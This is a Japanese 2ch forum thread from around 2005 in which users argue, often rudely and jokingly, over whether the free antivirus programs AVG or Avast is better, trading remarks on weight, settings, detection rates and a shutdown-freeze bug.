ほっとくと灰色になってる鬱

>>556
なるほど。どうやら結論が出たようだな。
avastはカスタマイズすれば重くない。わかり易い日本語対応。

【AVG】　どちらがよい？ 議論スレ　【Avast】
http://pc8.2ch.net/test/read.cgi/sec/1109831018/
↓
答え：必要ない機能をはすして軽くした【Avast】が最強

１００レス以内に有効なAVG陣営からの反論がなければ
これを本スレの最終回答にします。
AVG陣営の反論。どうぞ↓

avastがデフォでメモリ30Mっておかしいだろ。
めもりーくりーなー。使ってみろよ半分以上減るはずだから。

自分で必要なものを取捨選択できない初心者は
AVG使っとけということ
ポン付けOKのお手軽さがAVG
それでいて使用者の必要性や好みに合わせて
七つの機能をフル稼働させることもできる
それがavast

その気になれば7つの機能をフル稼働
軽さを追求するなら不必要なものを停止もしくは削除して軽量化も可
（AVG以上の軽さに楽勝でなる）
毎日ある安心のウィルスデータベース更新
嬉しい日本語対応
高い検出率

以上を持ってavastの圧勝
現実問題AVGが勝ってるのは設定の簡単さ
ポン付けOKの手軽さなどの初心者向けお手軽さのみ

AVGには日本代理店がないから非日本語。
つまり代理店を作るほどの優れたウイルス対策ソフトではないということだ。
この時点でavastが圧勝だろう。

>>561
たしかに
もう証明されたような・・・

いや普通に両方使ってみたけどavastの方が優れているとおもったけど

シャットダウンでこけなければAvastにしてたわ

トラブルの少ない方を選んだらAVGになった。

俺は花占いで決めた

ウイルス占いって作んないかな
漏れはニムダね

優劣なんてどうでもいいな

ﾌｫﾙﾀﾞ右ｸﾘからｽｷｬﾝできるのはどっち？

avast!だとフォルダーの右クリスキャンできる
あとブート時スキャンというものがあるが
＞ウィルスの活動前に実行されますので、感染したウィルスがスキャンに影響を及ぼすことはありません
何か意味あるんだろうか・・・・

前はAVG使ってたけど右クリスキャンあった希ガス

ユーザーに馬鹿が多くて使うと馬鹿扱いされるのはどっちですか？

FW関係がそうだな
粘着信者が使いこなせないとアンチに化ける
それで偏見で見られるのがおう（ｒｙ

>>556
Webシールド：必要。おまけでブラクラや悪質ページの登録も出来る
ネットワーク・シールド：FWの代わりにならない、だからFW必須
　　　　　　　　　　　　　　 じゃあ検知するもの無いじゃん。　不要
P2Pシールド：NyやShareのことじゃありません　不要

ｲﾝｽﾀﾝﾄﾒｯｾｰｼﾞ・ｲﾝﾀｰﾈｯﾄﾒｰﾙ・Outlook：
それらを使ってるならいいんじゃね。添付ファイルを手動でチェック出来る人なら要らんけど

今、avastで４つのサービスをインスコしてるんだけど、
プロセス名とサービスってこれであってる？なんか違うような。

1832K ashDisp.exe（ネットワークシールド）
*448K ashMainSv.exe（インターネットメール）
3352K ashServ.exe（標準シールド）
*712K ashWebSv.exe（WEBシールド）

**44K aswUpdSv.exe（更新プログラム）

どっちにしてもavastの常駐合計は6MBくらいでメモリの大飯食いではないよ。

>>578
全然違う

DispとServが本体だった気がする
WebSvがWebシールド UpdSvが更新確認アクセスするプログラム
（更新ダウンロード後のインストール作業そのものは無関係）

オツムが弱いからavastが使いこなせない→AVGを使う→簡単なので気に入る♪→avastスレを荒らす

こんなものに使いこなすもへったくれもあるか？

そう
それができなかったかわいそうな人がAVGを使うように(ry

シャットダウン出来なくなったりすると、やだなぁ・・・

>>581
Avastはフリーで日本語で使えるということだけで、大した設定もせず
入れてるﾔﾂは多いと思うが。
確かに、実際入れてみると、AVGの方が簡単なんだけどね。

簡単なほうがいいかな。

AVGの検出率さえ上がってくれれば・・・
AVGが和製トロイの木馬に対応してくれれば・・・

>>584
それが怖くてAVGにした
そのうちバックアップしてから入れてみるかな

日本語でないと使えないからavast

初心者に英語のソフトは使えない。

何の初心者？

えいご？

えいごりあん

ああ、ロッキーか

今ノートン先生2004年版使ってます。
自動スキャンが鬱陶しく、ファイルのDLが完了する寸前にスキャンがかかるんです。これではファイルが破損してしまいそうです。
動作も重いので、フリーで何か良いのがあればインスコしたいと思いまして、いろいろ探しておりました。
見たところAvastが良さそうなのですが、ノートン先生と比べてどうですか？

日本語の詳しいサイトいくらでもあるのに
必死に英語のことを訴えるAVG厨ｗｗｗ
そりゃ日本語の解説サイトが全くないなら言いたいこともわかるがｗｗｗ

>>594
ノートンのどんなところと比べて欲しいの？

>>594
機能切ればいいのに

>>595みたいな馬鹿はフリーを使わない方が良いに1000カスペ

avastの設定がわけわからなくて、仕方ないから
AVG使ってみるとあまりにも簡単だったと・・・
で、アンチavastになる



↑
これか？

Avastはうちの環境だとシャットダウンができなくなる例の状態に陥るのでAVGにしている
それがなかったら簡便さのAVGと日本語化されていて和製のウイルスにも若干強そうなAvastと互角か

あと追記すると、Avastは有料のPro版にのみついてくる拡張インターフェイスがエクスプローラ風で、
フリー版のデフォルト状態より数段使いやすいのは何かの嫌がらせか(苦笑

> Avastは有料のPro版にのみついてくる拡張インターフェイスがエクスプローラ風で
今はスキンを使わなきゃHomeでもスッキリしたインターフェイスだよ

そうなんだ、サンクス

シャットダウンできなくなる例の問題は解決された？できなくなる環境が特定されない
みたいだから一回使ったあと放置だったんだよね

Avastってプロ版にするメリットって何かある？売りが日本語で無料なだけに聞いたことないんだけど

ない

>>596
動作スピードです。
立ち上がりの早さとか、ノートンは重くて有名なぐらいですから、Avastのほうが軽いとは思いますが、どれぐらい軽いのかが知りたいです。
あとはファイヤウォールが付いているかどうか、とか。

>>597
確かにそうですが、いかんせん重たいので･･･

何使ってもノートンよりは軽い

この2日間で脳豚ｱvを追放してAVG→ｱｳﾞｧst！入れて使った結論

ｱｳﾞｧst！は常駐保護の種類が7つあってそれぞれOn/Offと強度がいじれる
漏れはｹﾘｵとﾓﾐﾄﾛｿ入れてるからﾒｰﾙｽｷｬﾝだけ常駐で軽い軽い
ｱVGは常駐の内容選べないし勝手にﾌｨﾙﾀﾘﾝｸﾞしてるようで何となくﾓｯﾀﾘする
一番重要なｳﾞｨｰﾙｽｽｷｬﾝそのものの感度はｱｳﾞｧst！が最強
今まで脳豚でも検出できなかったﾌﾗｹﾞｲｴﾊﾞｰが引っかかった
DLDﾇｯ頃すときは矛盾が出ないよう削除するのが大変だ

長年ノートン先生使ってきたが、アクチ入れた時点でついに見限ってたよ。
自分で首絞めるような真似して馬鹿じゃん。

ノートンとフリーのウイルスソフト、どちらがよい？
なら直ぐに結論がでそうだな
万票でフリーにきまっとる

ノートンがフリー版出したら・・・いらん！

AVGも細かいことはできないが、とにかく何か入れとかないとヤヴァイ時にオススメ
他にイイもん見つけてウンスコしても、脳豚みたいにゴミ残さないし
とにかく脳豚は弊害の方が多過ぎで二度と使うつもりはない
タダでもいらない

ウイルスソフトが無料＝ソフトには一銭も金を使わなくて済む

ノートン知人から借りたお＝無料

>>613
止めとけ糞だぞ
藻前のPCを墓石のように重くしてレジ汚すだけだ

ノートン最高

脳豚は無脳なﾋﾄ向け

割ってみるのも面白いが、確かに割る価値もないな。
後の掃除が大変だw

買うにせよ割るにせよ、OSにダメージを与える駄ソフトには違いない。
必死でカキコしてる日本人社員は、現地雇用の低学歴拡販員。

細かく設定しなくて(・∀・)ｲｲ!!ノートン最高

さてと
ｳﾞｨｰﾙｽﾌﾞｽﾀｰ社員とﾏｯｶｰﾌｪｰ社員も呼ぶかな

ｼﾏﾝﾃｯｸ社員が荒らしてるんだったら
お前らもｼﾏﾝﾃｯｸｽﾚ荒らしてこい
初心者しかいないが

人気者はつらいぜｗ

皆さん有難うございました。Avast入れてみたいと思います。
ノートン先生は早く器物損壊でﾀｲｰﾎされたほうがよさそうですね。

>>620
なんじゃ

ヒューリスティク性能 AV-Comparatives ( May 2005 )

検知率
----------------------
70% 　　NOD32

----超えられない壁----

49% 　　BitDefender
48% 　　Kaspersky
37% 　　Dr.Web
34% 　　Sophos
30% 　　McAfee

----超えられない壁----

19% 　　F-Prot
15% 　　TrendMicro
14% 　　Symantec
12% 　　H+BEDV
11% 　　Avast
08% 　　RAV
04% 　　AVG


ONLINE
> ttp://www.av-comparatives.org/seiten/ergebnisse_2005_05.php

PDF
> ttp://www.av-comparatives.org/seiten/ergebnisse/report06.pdf

ヒューリスティク性能が高い＝誤検出も高い
といえなくもないのでは？

一概にそうとは言い切れない希ガス
後はマルチ野郎は氏ね

SophosのGenotypeをヒューリスティックというのはどうなのかねえ

AVASTで検出したTrojanをネットで調べたら
　　　AVG
　　　Kaspersky
だけが検出しなかった。

どんどん減るAVGユーザー

俺はavastユーザーだが、スレッド数だけ見るとAVGの方が多い。
AVGってavastより早く公開されたってこと？

AVG Anti-Virus Version35
http://pc8.2ch.net/test/read.cgi/sec/1118237842/

avast! 4 Part16
http://pc8.2ch.net/test/read.cgi/sec/1118586631/

厨房率が高いんだろ

>>631
前バージョンのavast32は日本語環境と相性が悪かったらしくて
あまり流行らなかった。
avast4になったのが2003年、その後少しづつ日本でもユーザーが増えて
ベンダーも2バイト文字に対応し、2004年に正式に日本語版が公開された
AVGはそれ以前から日本語環境でも問題が出ていなかったから結構
使ってる人がいた
AVGの2chスレッドのナンバーが多いのは、avast32の日本語環境との
相性の問題が影響していると思う

なるほど、サンクスでした。

Avast最強ってことにしとこ。
これで厨房が減って鯖も軽くなるし

643 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/06/23(木) 10:22:40
AVG　vs　AvastスレでAvast最強ってことにしといた。
厨房が減れば俺らが快適になるしね。
優越に拘るより有意義だね。

要約すると
・『事実とは異なるがavast最強』でいいよ
・厨房にAVGは使って欲しくない、avast使ってくれ
・全てはAVG使いである自らの便益のために
でおｋ？

悲しいねぇ

最強を自負するからには厨房をも対処して抱えてもらわないとな。

AVGは設定ないのと一緒だし
どうあがいても厨の巣窟にしかならん罠ｗ

最強じゃないと気が済まない割には
最強になったらなったで文句垂れるのか
矛盾してるね〜ｗ

どっちが最強なんて無意味だろ。
他方の欠点を指摘すること、これすなわちもう一方の利点を挙げているにすぎない。
pros & cons の列挙なのだから、どちらを使おうか迷っている人にとっては
有用な情報になると思う。
各々が自分に合ったものを使えばいいじゃん。
どっちが最強か、統一意見を導く必要なんてないよ。
だから、ずっとネガティブキャンペーンしていてもいいと思うんだけど。

どっちも最強では無いわけだが・・・

>>641
んだんだ

今テレビで原発の情報漏れが出てた。
ｎｙを走らせていて、スパイウェアに感染したらしい。

漏れがＡＶＧを入れたのも、ｎｙで"ぬるぽ"に入られたから。
ＬＺＨ以外は、よく検出してくれた。
ＣＤ８０枚、写真集７０冊、mpg少々　外で買うには憚れる物をDLできた。

しっかし今時ｎｙというのは…
ほとんどウイルスじゃないかな。

警告
661までにAVG陣営の有効なレスがないとAvastが最強という結論になり
このスレは終了します
今のところAVG陣営からの有効な回答はまったくありません

最終予定フロー

ノートン、バスターは余計な機能が多くて重いし、金がかかる
↓
フリーのウイルス対策ソフトを使う
↓
AvastとAVGで迷わずをAvastを選ぶ
（理由：日本代理店による日本語完全対応＆不要サービスを削除すれば超軽量＆検出率高い）
↓
一部、終了時のストール問題がある
｜
｜→ストール問題対策ツールを使えない、または不要サービスを削除できない低脳君のみAVGを使う
↓
ツールを使えばストール問題解決
一生、無料のウイルス対策ソフトを使うとパソコン２台分くらいのお金（ウン十万円）が浮く

標準シールドとインターネットメールだけで、他の機能は削除してるが、
はっきり言って軽すぎ？と思うぐらい軽い
ていうか、avast!を終了させてみたり稼動させてみたりで比較しても
ｻﾊﾟｰﾘ違いが和歌欄ぐらい軽い
まぁAVGと比較してどうかということは和歌欄し、比べる気も別にないが
軽さに関してはこんな印象
XP Home
Celeron1.6Ghz
768MB RAM

>>644
561氏の意見に異を唱えるわけではないのだが、
終了時のフリーズの原因がわかっていないのなら、
そんなソフトウェアをフリーといえども公開しているのはどんなものかと・・・
原因がわかっているのなら修正するべきだし、
ツールを使えば解消するのなら、はじめから組み込んでおけないのか？
と思ってしまう。
終了時のフリーズが完全に解消したら、avast!を試してみるとしよう。

Avast!が最強だそうです。
ということで皆さんAvast!を使ってねm（__）m

>>561の必死さが最強

でも561みたいな香具師が今後も
Avastを布教してくれることを祈る
不具合無しでAVG使ってる俺にとっては
厨が減るだろうから大歓迎

初心者のみんな>>561先生もお勧めのAvast使え
分からないことは全部答えてくれるぞｗ

AVG簡単だﾓﾝなｗ
わからんことなんか出てくることもないだろうしｗ

無料と言っても個人情報と引き換えではね〜

avast!最強avast!最強avast!最強avast!最強avast!最強avast!最強avast!最強avast!最強avast!最強

Avast!とAVG二つとも入れれば良いじゃない
ちなみに俺のサブPCにAvast!とAVG共に稼動中
後bitDefenderにAntiVirも入れてるが・・・

そんなに重くないな

PCスペックは
P�V　500Hz　198メモリ　HDD12G　

>>652
青画面を拝めていい感じだな

いやいや

メインPCに入れるアンチウィルスソフトをサブマシンに入れて吟味してるんだが…

常駐だとAVG、Avast!、AntiVir共に問題無し
一つずつのフルスキャンも問題なし
Avast!、BitDiffender併用で鬼のように重くなった

3つフルスキャンしたらフリーズするかと

待て、もしかして同時にスキャンさせてるのかｗ

おじいちゃんしぬわ

>>655
その通り
2つ併用までなんとかいけた

>>656 まだまだ元気じゃよ

「あんなに元気だった人が」なんていうのはよくある話だ

>>657
悪いことは言わんからやめとけ（ｗ

CPU 600MHz、メモリ320MBのWin2kなんだけど、Avsat普通に動く？

軽いといわれるAVGも検討しているんだけど、性能的にはAvastらしいので。
ちなみにノートン2004入れたらＯＳが使い物にならないくらい重くなって激萎えで売った。

>>660

CPU466MHz,Win98seでも普通だよ。
ただし今はファイアウォール入れてないけど。

98でも動くんだから問題無いんじゃない？
まあ只なんだから、Avastでもし重いと思ったら、その時点でAVGにすれば良いだけだよ。

>>661
さんくす。今からインスコしてくる。

ちなみに専ブラでこのスレを見るとAvast!が反応します（ｗ

Avastの圧勝という結論になりました

以降、このスレはAvastの質問のみ受け付けます

先生ーッ、耳くそと鼻くそはどっちがすごいんですか。

僅差で耳クソです

>>646の最初と最後の行を除いた意見には同意できる。
ソフトウェアベンダーの不完全な製品を提供してはばからない姿勢は不安だ。
特にウィルス対策ソフトでは、つい先日、
トレンドマイクロにひどい目に合わされたばかりだ。

>>667
じゃあ不具合でないの使えよ馬鹿
そんなものがあったらの話だけどな

>>667
液晶と同じだろ
２、３個のドットかけならOK

フリーは、所詮、有料版には、かなわんぞ。

>>670
ソースのには勝ってる

>>646
>>667
トレンドマイクロの件以外は、言っていることが滅茶苦茶だな。

“営利”法人がフリーウェアを提供する理由（メリット）を考える。
フリーウェアのEULAをよく読む。
ソフトウェアの知的財産権をかじってみる。
“完全な製品”を列挙してみる。
修正パッチ、アップデートで成熟されたソフトを列挙してみる。
自分が“完全な製品”と思っているソフトは、過去に不具合があった事を知る。
自分の書き込みを読み返す。
赤面する。

>>668
ベンダーが不完全な製品であることを認識しながら提供していることが問題だ。
それともチェコのほうでは問題なくて、日本でのことはわからないのかね？
でも、日本語版もあるくらいだからなぁ・・・

>>669
まあ、自動でシャットダウンできなくても、手動で電源を落せば済む話ではある。

>>672
将来修正してくれるんなら、それでいいんだけど。

>>673
チェコでも日本でもドイツでも。。 問題があるなら報告してやらないと
直しようがないだろ
日本語環境だけの問題なら日本人が報告しないとわかんないんじゃないか？
データ添付して誰か報告してんのかな？

>>673
だかーら、EULAを見ろって
フリーウェアで動作保証してるのなんて、見たこと無い。
むしろ、動作保証しないと明示的に記述している。

どうしてそんなにavast!に肩入れすんの？

avasut重いから

ところで、有料版ならシャットダウン出来なくなることはないのかな？

>>679
時便で試せ
ハゲ

有料板なんて誰もつかわねーなー。

Avast!がアイデンティティになってる奴がいるなｗ

ノートン狂信者がいるな。。。 と思ったらシマンテックの社員か
休出 Z !

>>683
どこにノートン信者が見えるんだ?
おめーの脳には問題があるんじゃねー？
avasut使いは痴呆ばっかだね

>>679
有料版を使ったわけではないのだが、フリー版は有料版の機能を削ったものなら、
おそらく同じことだと思う。
そうすると、フリーウェアだから云々ということは気にしなくてよさそうだ。

AVGが検出できてAvastが検出できないウィルスもあるし、逆もある
AVGの良いところもあれば悪いところもある。
また、Avastの良いところもあれば悪いところもある。

>>685
フリー使っている限り、フリーだから云々が適用されんだろ。
有料版使っているなら、ベンダーに文句言えばいい。
話の発端（>>646)で
>そんなソフトウェアをフリーといえども公開しているのはどんなものかと
って言ってるのに、何で有料版の話を持ってくるの。

>>686
良い意見だ。結論が出た。

>>687
フリーといえども、の部分がなくても結論は同じだよ。
論点をすりかえるのはやめろ。

>>689
有料版のトライアルがあるから、推測ではなくて実際にシャットダウンフリーズを確認してくれ。
確かなのは、フリー版でシャットダウンフリーズの現象があるってことだろ。

>AVGが検出できてAvastが検出できないウィルスもあるし、逆もある

そういう差の部分が致命傷になるケースなんてあるの？
そんなシビアな環境でPC使うかな？

昨日トロイをBitdefebderで検出、でもAVGでは検出できず、Avastに乗り換えました。
で、レベルを高にしてたらiTunesが音途切れ発生で標準に戻しました。

>>692
で、その検出したトロイって何なのよ。
正直、それがわからんとその文章は意味がない。
トロイとして検出する意味無いものってのは結構あるんだが。

いただいた情報に基づき同日編集部にて「Norton AntiVirus 2005」を用い、「Lhaplus」v1.51を検査しましたところ、
“Trojan.Dropper”が混入しているのとアラートが表示されることを確認致しました。しかしながら、
「ウイルスバスター2005 インターネット セキュリティ」「NOD32アンチウイルス」「avast! 4 Home Edition 日本語版」にて、
「Lhaplus」v1.51を検査しましたところウイルス混入のアラートは表示されませんでした。

http://www.forest.impress.co.jp/announce/20050606.html

全然ダメじゃんAvasit

>>695

本日6月6日午後（株）シマンテックより、「Lhaplus」v1.51にウイルスが混入しているというアラートは、
「Norton AntiVirus 2005」の誤検知によるものとの回答を得ました。

何でもかんでも検出すりゃ偉いってものじゃないということか・・・

↑馬鹿はしね

↑シマンテック社員登場

>>697-699
ウイルス発見、駆除推奨、もしくは隔離スルーを

>>700
完了しますた

>>701
…まさか、駆除したのか？

シマンテック社員の駆除は大変だよ
駆除したつもりが残ってたりするんだよ
ノートンみたいに。。。。

>>694
先生ダメポ

Avast!で誤報は日常ちゃはんじだけどね

705の間違いはちゃんと検出したようです

>>704
上の誤報は「Norton AntiVirus 2005」のことだけど、勘違い？
Avastも誤報が多いけど、俺の使ってるソフトは誤検知しないけどさ。
誤検知するソフトはマイナーなソフトって感じがするけど。

「俺の使ってるソフトは」→「俺の使ってるソフトに対しては」
自分で読んでおかしいと思った。
２ホン５ッテ　６ズカ４杉

じゃあ何使ってるの？

まーデフォで日本語なのは楽だよね

One who knows not a foreign language knows not of his own.

Gethe


一つの外国語も知らないものは自国語も知らない

ゲーテ

>>711
ゲーテって何　知らない！

>>711
引用するならドイツ語の原文引用しろよ
翻訳の引用じゃ原意が伝わらないだろ

グーテンモーゲン！

ゲーテゲーテゲゲゲーノゲーテ

　　　　　　　　 ,. -‐'''''""¨¨¨ヽ
　　　　 　 　 (.＿＿_,,,... -ｧァﾌ|　　　　　　　　　　あ…ありのまま　今　起こった事を話すぜ！
　 　 　 　 　 |i i|　 　 }!　}} /／|
　　　　 　 　 |l､{　 　j}　/,,ｨ//｜　　　　　　　『おれは日本語は楽だと言ったんだ。しかし気づいたら
　　　　　　　 i|:!ヾ､_ﾉ／ u {:}//ﾍ　　　　　　　　いつのまにかゲーテのスレになっていたんだ』
　　　　　　　 |ﾘ u' }　 ,ﾉ　_,!V,ﾊ |
　　 　 　 ／´fト､_{ﾙ{,ィ'ｅﾗ　, ﾀ人　　　　　　　　な…　何を言ってるのか　わからねーと思うが
　　　　 /' 　 ヾ|宀| {´,)⌒`/ |<ヽﾄiゝ　　　　　　　　おれも　何をされたのか　わからなかった…
　　　　,ﾞ　 ／ )ヽ iLﾚ 　u' |　| ヾｌﾄﾊ〉
　　 　 |／_／　 ﾊ !ニ⊇　'／:} 　V:::::ヽ　　　　　　　　頭がどうにかなりそうだった…
　　　 /／ 二二二7'T'' ／u'　__ /:::::::/｀ヽ
　　　/'´r　-―一ｧ‐ﾞＴ´　'"´ ／::::／-‐ 　＼　　　催眠術だとか超スピードだとか
　　 / // 　 广¨´ 　/'　　 ／:::::／´￣｀ヽ ⌒ヽ　　　　そんなチャチなもんじゃあ　断じてねえ
　　ﾉ ' /　 ノ:::::`ー-､___／:::::／/ 　 　 　 ヽ　　}
_／｀丶　/::::::::::::::::::::::::::￣`ー-{:::...　　　 　　　ｲ　 もっと恐ろしいものの　片鱗を味わったぜ…

圧勝したavastスレです
ここはもう結論が出たので終了ですよ

移動ヨロ
avast! 4 Part16
http://pc8.2ch.net/test/read.cgi/sec/1118586631/

厨房の皆さん、このスレは大盛況のうちに終了いたしました。
つきましては、avast!スレへの移動をお願いします。
自称最強を自負しておられる既存ユーザーの方々が
どんな質問にも答えてくれるでしょう。

スレの民度でソフトの実力もおおよそうかがい知れる

>>717
そっちではシャットダウン時のフリーズが、システムに致命的なダメージを
与えたという報告が来ているので、あまり行きたくない。
終了するときに、いよいよ心臓がどきどきするようになった。

AVG＝軽い
Abast!＝重いどころじゃない

AVG=糞軽い、5年前のPCでもサクサク、しかし検出率はうんこ、アイコンのクオリティーがタカス
Avast=多少重い、最新PCなら軽い、不要サービスを切れば軽くなる、検出率は高いが誤検出率も凄い、アイコンのクオリティーがヒクス

↑ぷっ

AVG＝軽い　検出率普通に使えば問題なし＝最高
avast!＝重すぎ　最新とか関係無し（歴除いて）　不要サービス切ってもavast!関係無し
検出率　低め　誤検出　少ない

>>723
まあな。しかしavast!はP2Pのウイルスに対応してるからな
まあP2P使ってるだけで、大きなまんこ開くんだがなｗ

>>722は両方の一長一短を公平に見た発言だと思う

Avast!使いは>>556を参考にすることが大切だな
これを実践するか否かで評価が大きく変わるはず(特に重さ)

俺はシャットダウンにフリーズするのが面倒なのと2chのログに頻繁に誤反応するのが嫌なのでAVG使い
両者の評価はどちらもきちんと動く環境なら一長一短だと思う

でも両方使うことはできない

のではなく、意味が無いから

Avast最強だからみんなAvastを使え。
AVGなんざカスだ、カス。










厨も初心者もみんな使ってろ　by AVG user

>>729
ＡＶＧユーザが減れば、ＤＬがサクサクできるよね。
要はせこいんだ。

Avast!最強です！
ネットランナー見て興味を持った、初心者だけどフリーのアンチウイルス製品に興味がある、
AVGじゃちょっと不安、という人には　多機能、高検出力のAvast!4をお薦めします！！

シャットダウンの不具合と動作が重いのと誤検出が多いのもご愛嬌！

困ったらavast!スレの住人が優しく答えてくれますよ！

【初心者】avast! 4 Part17【厨房よっといで〜】
http://pc8.2ch.net/test/read.cgi/sec/1120132488/l50

【DQN対象】AVG Anti-Virus【設定いらず】V.36
http://pc8.2ch.net/test/read.cgi/sec/1120191623/










王様AVGに新スレです

お望み通りavast!最強ってことで手を打ってあげたのに
ご不満なのかい？ﾌﾟ

ごめん
avastは設定とか複雑でわかんなかったんだよorz

>>731はスレタイをいじってリンクは普通に現行スレへ
>>732はホントにスレ立てした厨房


まあ、この差ですよ。

ま、そんなに高スペックじゃないPCの人はAVG使えばいいんじゃないの？

AV爺ってインスコしたら何もすること無いんだけど何これｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
こりゃ楽でいいわｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗこれなら莫迦でもおｋだねｗｗｗｗｗｗｗｗ
うひょ〜〜〜〜ｗｗｗｗｗｗｗAV爺最高〜〜〜〜〜〜ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

avastは誤検出の総合商社

シャットダウンでケツふけね〜ってさ

いいんだよ　ネトランでも紹介されてるし
厨房向けに宣伝しとけば
下手に不具合情報とか出して　じゃあってことでAVGによりつかれても困る

ねえねえ
AVGって何も設定しなくてもいいんだけどすごいねｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
頭悪くてもおｋだねｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

>>556-563

これで結論は出てる
要するにオツムの弱い奴はAVG使っとけという事

俺さ、熱帯魚買ったことあんだけど（ネオンテトラってやつ）
ほかの魚が食うのが気に入らないらしく、食べられないように追い掛け回すんだわ
けど、自分も食ってねーのよ
世の中、色々だな。

アロワナにしなされ

やっぱ金魚でしょ。

出目金は死ぬと目が飛び出る

金魚は体が弱い

金魚と鯉の幼魚の違いは分からない

金魚で何万もするやつがいてビビッタ

Avast使おうかなと思ってもAva房のキモさで躊躇してるんですが

>>750
その気持ちは分からんでもない1ユーザー
何とかならんかな…

スレ読み飛ばしていいよ

　┬─┴─┬─┴─┬─┴─┬
　┴─┬─┴─┬─┴─┬─┴
　┬─┴─┬─┴─┬─┴─┬
　┴─┬─┴─┬─┴─┬─┴
　┬─┴─┬─┴─┬─┴─┬
　┴─┬─┴─┬─┴─┬─┴
　┬─┴─┬─┴─┬─┴─┬
　┴─┬─┴─┬─┴─┬─┴
　┬─┴─┬─┴─┬─┴─┬
　┴─┬─┴─┬─┴─┬─┴
　┬─┴─┬─┴─┬─┴─┬
　┴─┬─┴─┬─┴─┬─┴
　┬─┴─┬─┴─┬─┴─┬
　┴─┬─┴─┬─┴─┬─┴

飛ばしますた

数分おきにエロｻｲﾄが自動的に立ち上がってしまうんだけどどうすれば
立ち上がらなくなるでしょうか？マジ困ってる。

>>755
マジレスするとリカバリ。

さて、さらにマジレスするなら、「アダルトサイト被害対策の部屋」と
ググって行け

>>756
優しいな

>>755
Ad-awareやスパイボットなんかで収集つくこともある
リカバリする前にとりあえずためしてみ

>>740
なんでお前が困るんだよ

どっちでも良いと思うがavast使ってる。
設定はおじちゃんを参考に・・・。

今のところ問題は起きていない。
そもそもウイルスが検出されてないわけだが。

動いてなかったりしてな、ハハハ、まさかな。

マンホール

最近ＡＶＧのほうがよく見えてきた

>>761
さすが、AVGの良さが分かるとはお目が高い！すぐ移行することをお勧めします。
軽い、シャットダウンで止まることなんて絶対ない安心・安全なｱﾝﾁｳｲﾙｽｿﾌﾄです。

一長一短あるから自分に合ったほう使えばよい

ネットワークシールド
FWが無いときにしか反応しないけど
FW使ってないといずれ死ぬから　実質無意味よね

AVG入れてからしばらく経過したけど、セッション見張ってたらGrisoftだけじゃなくてAkamaiとかいう
サイトにもよく繋がるようになったんだが、ここも定義ファイル持ってるの？

はい

ＡＶＧ外してもレジストリ見事に残り杉

>>767
それはAVGに限らないアンチウイルスソフトの宿命

AVGメモリ食いすぎ

うそーん

どっちもどっち

そんな俺はノートン使ってます

AVGからAvastに変えた。
そしたら通信速度がガタ落ち。
Ｂフレッツで20あったのが５になった。
しょうがないんですよね、コレ。
それ以外は問題なし。

ＷＥＢシールド終了して、
プロシキサーバーもやめたら、
速度が15まで戻った。
うーん、ＷＥＢシールドって、
必要なのですか。
ＡＶＧに戻そうかな。
って、アサッパラから、
こんなことに悩んでいます。

ピロシキサーバー

フロシキサーバー

ＡＶＧって日本語版ないでしょ。

馬鹿な俺はＡｖａｓｔ！派よ。

>>776がどちらも使いこなせない件

ここでバーローの時間です

ノートンの期限がきれそうなので、
avastとZone AlarmをP2P専用機に入れてみた。
ちょっと干渉し合ってるね。相性わるいのかな？

P2P専用ってどゆこと？

>>780
ダウソ住人ですｗ（嫌われてるからな）
Winnyやshareがメインです。（ﾎｰﾑｻｰﾊﾞなのでﾙｰﾀで防げると思いますが）
今はノートン2004ですが2006までもたせたい。
他の2台はノートンで2006まで持ちます。（ﾘｶﾊﾞﾘしまくりｗ）
アドウェアやスパイウェア対策はSpybotだけですが・・
とりあえずノートン2006待ちです。

ノートンってスパムとか検出するよ

まず、どっちが軽い？

基本の軽いかも判らないアホがいまつｗｗｗ

>>783
バスター使え

今から

【ノートン】　どちらがよい？ 議論スレ　【バスター】

になりました。
それでは、ど〜ぞ〜

売り込みも大変だ

>>783
AVGの方がサクっとしてる。ﾄ ｵﾓｳ
ｎｙを動かしていた時は、随分助けられた。

もう止めたからａｖａｓｔ！4に変えた。
バック・グラウンドで走るのは便利。

どっちがいいか議論するくらいのものはどっちでもいいと思う

AVG＝軽い
AVAST＝重い

３０％しか検出できないＡＶＧやavastにするのは自殺行為。

>>791
おまいはこのスレにいる必要はない。

CPU500MHz以下もしくはRAM256未満・・・・AVG
CPU500〜1GHzでRAM256MB以上・・・・avast!
それ以上のCPUもしくはRAMをつんでる場合は適当に
高負荷だが検出能力高い製品版買っとくのが無難じゃ
ね？

それも一理あるね

その割には製品版ならどれを使えばいいかという問題も(おそらく永遠に)答えが出ないんだけど

これっていう決定打が人によって違うから

それは答えとしては禁句

解説：永遠に答えの出ないこのスレが遂にクライマックスを迎えた！

そして・・・輪廻

AVGからavastに乗りかえたんだけどシャットダウン出来ない
いちいち常駐切るのマンドクセ

起動出来ないならともかく,　切るなら４秒以上電源ボタン押せばい
いのでは…。
俺はavastPro卒業したけれど、全く問題はなかったよ。

それだときちんとシャットダウンできてないから、OSがおかしくなる可能性もあるんだが

何が原因でシャットダウンできないの？
俺のXP SP2は特に問題ないのだが...

原因で考えられるのは、他ウイルスソウトとの相性ぐらいかな、
使い始めた頃は問題なかったけど、急にシャットダウン出来なくなったし
スキャン中にフリーズしてしまう。
AVGは何か怪しいからH+BEDV AntiVir に乗り換えした

ＯＳがＡＣＰＩに対応していれば、強制終了は設定上組み込まれているので
のでＯＳがおかしくなることはないはずです。ＯＳ以外で一部の環境やデータ
が保存出来ないことはあるかも知れませんが…

うちではAvastがATOK2005と非常に相性が悪くて
シャットダウンできない症状に悩まされた。
良いアンチウイルスのソフトが有ればいいんだけどねえ。

>>806
残念。
相性の問題ではない

>>807
何の問題？

胃

NOD32に不具合発生！！！
シェアウエアはもうだめだな

あーあ

>>810
　ま　た　か　！

ギャアアアアアアアアアアアアアアアアアアア
個人情報がぁあああああああああああああああ
俺の個人情報がぁあああああああああああああ

ムハハ

Windows98SE、メモリ32MBの環境(Libretto70)にインストールするには、
AVGとavast!はどっちが向いてますでしょうか?
PCの用途は主にWeb閲覧。
